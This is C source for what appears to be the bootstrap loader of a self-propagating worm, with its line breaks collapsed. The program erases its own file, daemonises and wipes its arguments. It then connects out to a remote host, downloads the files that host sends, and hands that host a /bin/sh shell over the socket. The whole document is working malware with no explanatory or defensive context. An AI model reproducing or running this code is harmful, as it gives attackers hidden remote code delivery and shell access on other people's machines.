#include <stdio.h>#include <sys/types.h>#include <sys/socket.h>#include <netinet/in.h>main(argc, argv)char *argv[];{	struct sockaddr_in sin;	int s, i, magic, nfiles, j, len, n;	FILE *fp;	char files[20][128];	char buf[2048], *p;	unlink(argv[0]);	if(argc != 4)		exit(1);	for(i = 0; i < 32; i++)		close(i);	i = fork();	if(i < 0)		exit(1);	if(i > 0)		exit(0);	bzero(&sin, sizeof(sin));	sin.sin_family = AF_INET;	sin.sin_addr.s_addr = inet_addr(argv[1]);	sin.sin_port = htons(atoi(argv[2]));	magic = htonl(atoi(argv[3]));	for(i = 0; i < argc; i++)		for(j = 0; argv[i][j]; j++)			argv[i][j] = '\0';	s = socket(AF_INET, SOCK_STREAM, 0);	if(connect(s, &sin, sizeof(sin)) < 0){		perror("l1 connect");		exit(1);	}	dup2(s, 1);	dup2(s, 2);	write(s, &magic, 4);	nfiles = 0;	while(1){		if(xread(s, &len, 4) != 4)			goto bad;		len = ntohl(len);		if(len == -1)			break;		if(xread(s, &(files[nfiles][0]), 128) != 128)			goto bad;		unlink(files[nfiles]);		fp = fopen(files[nfiles], "w");		if(fp == 0)			goto bad;		nfiles++;		while(len > 0){			n = sizeof(buf);			if(n > len)				n = len;			n = read(s, buf, n);			if(n <= 0)				goto bad;			if(fwrite(buf, 1, n, fp) != n)				goto bad;			len -= n;		}		fclose(fp);	}	execl("/bin/sh", "sh", 0);bad:	for(i = 0; i < nfiles; i++)		unlink(files[i]);	exit(1);}staticxread(fd, buf, n)char *buf;{	int cc, n1;	n1 = 0;	while(n1 < n){		cc = read(fd, buf, n - n1);		if(cc <= 0)			return(cc);		buf += cc;		n1 += cc;	}	return(n1);}int zz;